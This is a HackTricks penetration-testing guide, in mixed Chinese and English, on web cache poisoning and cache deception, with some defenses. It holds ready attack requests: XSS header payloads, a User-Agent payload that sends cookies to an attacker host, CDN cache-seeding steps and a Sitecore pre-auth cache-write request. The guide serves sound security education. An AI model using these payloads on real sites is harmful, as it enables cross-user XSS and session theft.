Cache Poisoning and Cache Deception
Reading time: 22 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
区别
web cache poisoning 和 web cache deception 有什么区别?
- 在 web cache poisoning 中,攻击者使应用将一些恶意内容存入缓存,这些内容会从缓存中提供给其他应用用户。
- 在 web cache deception 中,攻击者使应用将属于其他用户的一些敏感内容存入缓存,然后攻击者从缓存中检索这些内容。
Cache Poisoning
Cache poisoning 的目标是操纵客户端缓存,迫使客户端加载意外的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的流行度——被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击通常包括几个步骤:
- 识别未键控输入:这些是虽然不是缓存请求所必需但会改变服务器响应的参数。识别这些输入很重要,因为它们可被利用来操纵缓存。
- 利用未键控输入:在识别这些输入后,下一步是找出如何滥用这些参数以修改服务器响应,从而对攻击者有利。
- 确保被污染的响应被缓存:最后一步是确保被篡改的响应被存入缓存。这样,在缓存被污染期间访问该页面的任何用户都会收到被污染的响应。
发现:检查 HTTP 头部
通常,当响应被存入缓存时,会有一个指示此情况的头部。你可以在这篇文章中查看应关注哪些头部: HTTP Cache headers.
发现:缓存错误状态码
如果你怀疑响应被存入缓存,你可以尝试发送带有错误头的请求,这通常会得到状态码 400的响应。然后尝试正常访问该请求,如果响应是 400 状态码,说明存在漏洞(你甚至可以因此执行 DoS)。
你可以在以下位置找到更多选项:
但请注意,有时这类状态码不会被缓存,因此该测试可能不可靠。
发现:识别并评估未键控输入
你可以使用 Param Miner 来暴力枚举可能改变页面响应的参数和头部。例如,某个页面可能使用头部 X-Forwarded-For 来指示客户端从那里加载脚本:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
诱使后端服务器返回有害响应
识别出参数/头部后,检查它如何被 清理 以及它 在哪里 被 反射 或如何影响来自该头部的响应。你能滥用它吗(执行 XSS 或加载由你控制的 JS 代码?执行 DoS?...)
让响应被缓存
一旦你 识别 出可以被滥用的 页面、应使用哪个 参数/头部 以及 如何 滥用 它,就需要让该页面被缓存。根据你试图缓存的资源不同,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部 X-Cache 可能非常有用,因为当请求未被缓存时它可能为 miss,而当被缓存时值为 hit。
头部 Cache-Control 也很重要,用来判断资源是否被缓存以及资源下一次被缓存的时间:Cache-Control: public, max-age=1800
另一个有趣的头是 Vary。该头通常用于指示额外的头部,这些头部会被视为缓存键的一部分,即便它们通常不被作为键。因此,如果攻击者知道目标受害者的 User-Agent,就可以为使用该特定 User-Agent 的用户污染缓存。
另一个与缓存相关的头是 Age。它定义了对象在代理缓存中存在的时间(秒)。
在缓存请求时,要小心你使用的头部,因为其中一些可能被意外用作键,而受害者需要使用相同的头部。始终对 Cache Poisoning 使用不同的浏览器进行测试以检查其是否有效。
Exploiting Examples
Easiest example
像 X-Forwarded-For 这样的头在响应中以未清理的形式被反射。
你可以发送一个基本的 XSS payload 并 poison the cache,这样所有访问该页面的人都会被 XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk not to /en
Cache poisoning to DoS
Cache poisoning through CDNs
在 this writeup 中解释了以下简单场景:
- CDN 会缓存位于
/share/下的所有内容 - CDN 不会解码或规范化
%2F..%2F,因此它可以被用作 path traversal to access other sensitive locations that will be cached,例如https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - web server 会解码并规范化
%2F..%2F,并会响应/api/auth/session,该响应 contains the auth token。
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies 也可能会反射在页面的响应中。如果你能滥用它来触发 XSS,例如,你可能能够在多个加载恶意 cache response 的客户端上利用 XSS。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
注意,如果易受攻击的 cookie 被大量用户频繁使用,常规请求会清理 cache。
Generating discrepancies with delimiters, normalization and dots
Check:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains 如何通过类似 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 的 URL 窃取 OpenAI API key:任何匹配 /share/* 的请求会被缓存,而 Cloudflare 并未对 URL 进行规范化(normalising),这是在请求到达 web server 时才发生的。
This is also explained better in:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
有时你需要 exploit several unkeyed inputs 才能滥用 cache。例如,如果你将 X-Forwarded-Host 设置为你控制的域名,并将 X-Forwarded-Scheme 设置为 http,可能会触发一个 Open redirect。如果 server 将所有 HTTP 请求 forwarding 到 HTTPS,并在重定向中使用头 X-Forwarded-Scheme 作为域名,那么你就可以控制重定向指向的位置。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
使用受限的 Vary header 进行利用
如果你发现 X-Host header 被用作 domain name to load a JS resource,但响应中的 Vary header 指示为 User-Agent,那么你需要找到一种方法来 exfiltrate 受害者的 User-Agent,并使用该 user agent 来 poison the cache:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
发送一个 GET request,将请求同时放在 URL 和 body 中。如果 web server 使用 body 中的那个,但 cache server 缓存了 URL 中的那个,那么任何访问该 URL 的人实际上都会使用来自 body 的 parameter。类似于 James Kettle 在 Github 网站上发现的 vuln:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
在这里学习如何执行 Cache Poisoning attacks by abusing HTTP Request Smuggling。
Automated testing for Web Cache Poisoning
The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
这种真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为串联起来,从而可靠地向其他用户投毒缓存的 HTML:
- 主 HTML 将不受信任的请求 header(例如
User-Agent)反射到可执行上下文中。 - CDN 去掉了缓存头,但存在内部/源缓存。CDN 还会自动缓存以静态扩展名结尾的请求(例如
.js),而 WAF 对静态资源的 GET 执行了较弱的内容检查。 - 请求流上的一些怪癖允许对
.js路径的请求影响随后的主 HTML 所使用的缓存键/变体,从而通过 header 反射实现跨用户 XSS。
实用步骤(在一个流行的 CDN/WAF 上观察到):
- 使用干净的 IP(避免之前的基于信誉的降级),通过浏览器或 Burp Proxy 的 Match & Replace 设置恶意的
User-Agent。 - 在 Burp Repeater 中,准备两请求的请求组并使用 "Send group in parallel"(单包模式效果最佳):
- 第一个请求:对同一源的
.js资源路径发起 GET,同时发送你设置的恶意User-Agent。 - 紧接着:GET 主页面(
/)。
- CDN/WAF 的路由竞态加上自动缓存的
.js通常会播种一个被投毒的缓存 HTML 变体,然后该变体会被提供给共享相同缓存键条件(例如相同的Vary维度,如User-Agent)的其他访问者。
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- 许多 CDN 会隐藏缓存头;poisoning 可能只在数小时的刷新周期中显现。使用多个观察点 IP 并进行节流以避免触发 rate-limit 或 reputation 触发器。
- 使用来自 CDN 自身 cloud 的 IP 有时能改善路由一致性。
- 若存在严格的 CSP,只要反射在主 HTML 上下文中执行,且 CSP 允许 inline 执行或被上下文绕过,依然可行。
Impact:
- 如果会话 cookies 未设置
HttpOnly,则可能通过大规模提取document.cookie(针对所有被提供投毒 HTML 的用户)实现 zero-click ATO。
Defenses:
- 停止将请求头反射到 HTML 中;若无法避免,必须进行严格的上下文编码。使 CDN 与 origin 的缓存策略对齐,并避免基于不受信任的请求头进行差异化。
- 确保 WAF 对
.js请求和静态路径始终执行内容检测。 - 在会话 cookies 上设置
HttpOnly(以及Secure、SameSite)。
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
易受攻击的示例
Apache Traffic Server (CVE-2021-27577)
ATS 将 URL 中的 fragment 转发到后端而不删除,并且在生成 cache key 时只使用 host、path 和 query(忽略 fragment)。因此请求 /#/../?r=javascript:alert(1) 会被发送到后端为 /#/../?r=javascript:alert(1),而 cache key 中没有包含 payload,只包含 host、path 和 query。
GitHub CP-DoS
在 content-type header 中发送一个错误值会触发一个被缓存的 405 响应。cache key 包含 cookie,因此只能攻击未认证(unauth)用户。
GitLab + GCP CP-DoS
GitLab 使用 GCP buckets 存储静态内容。GCP Buckets 支持 header x-http-method-override。因此可以发送 x-http-method-override: HEAD 来将 cache 污染成返回空的响应体。它也可能支持 PURGE 方法。
Rack Middleware (Ruby on Rails)
在 Ruby on Rails 应用中,经常使用 Rack middleware。Rack 代码的作用是读取 x-forwarded-scheme header 的值并将其设置为请求的 scheme。发送 x-forwarded-scheme: http 时会导致到相同位置的 301 重定向,可能对该资源造成 Denial of Service (DoS)。此外,应用可能会识别 X-forwarded-host header 并将用户重定向到指定的 host。此行为可能导致从攻击者服务器加载 JavaScript 文件,从而带来安全风险。
403 与 Storage Buckets
Cloudflare 以前会缓存 403 响应。用错误的 Authorization headers 尝试访问 S3 或 Azure Storage Blobs 时会得到被缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应,但其他代理服务中可能仍存在此行为。
注入带键参数 (Injecting Keyed Parameters)
缓存通常在 cache key 中包含特定的 GET 参数。例如,Fastly 的 Varnish 会在请求中缓存 size 参数。然而,如果同时发送了该参数的 URL 编码版本(例如 siz%65)且带有错误值,则 cache key 会使用正确的 size 参数来构造,而后端会处理 URL 编码参数中的值。对第二个 size 参数进行 URL 编码会导致缓存忽略它但后端使用它。将该参数置为 0 会导致可缓存的 400 Bad Request 错误。
User Agent Rules
一些开发者会阻止 user-agent 与高流量工具(如 FFUF 或 Nuclei)匹配的请求以控制服务器负载。但具有讽刺意味的是,这种做法可能引入如 cache poisoning 和 DoS 等漏洞。
Illegal Header Fields
https://datatracker.ietf.mrg/doc/html/rfc7230 指定了 header 名称中允许的字符。包含超出 tchar 范围的字符的 headers 理应触发 400 Bad Request 响应。但实际上服务器并不总是遵守该标准。一个显著的例子是 Akamai,它会转发带有非法字符的 header 并缓存任何 400 错误,只要未包含 cache-control header。发现一种可利用的模式:发送包含非法字符(例如 \)的 header 会导致可缓存的 400 Bad Request 错误。
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.
Other things to test:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
注意,cache proxy 应该基于文件的 extension(例如 .css)来 configured 为 cache 文件,而不是基于 content-type。在示例中,http://www.example.com/home.php/non-existent.css 会有 text/html 的 content-type,而不是 text/css。
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
自动化工具
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
参考资料
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks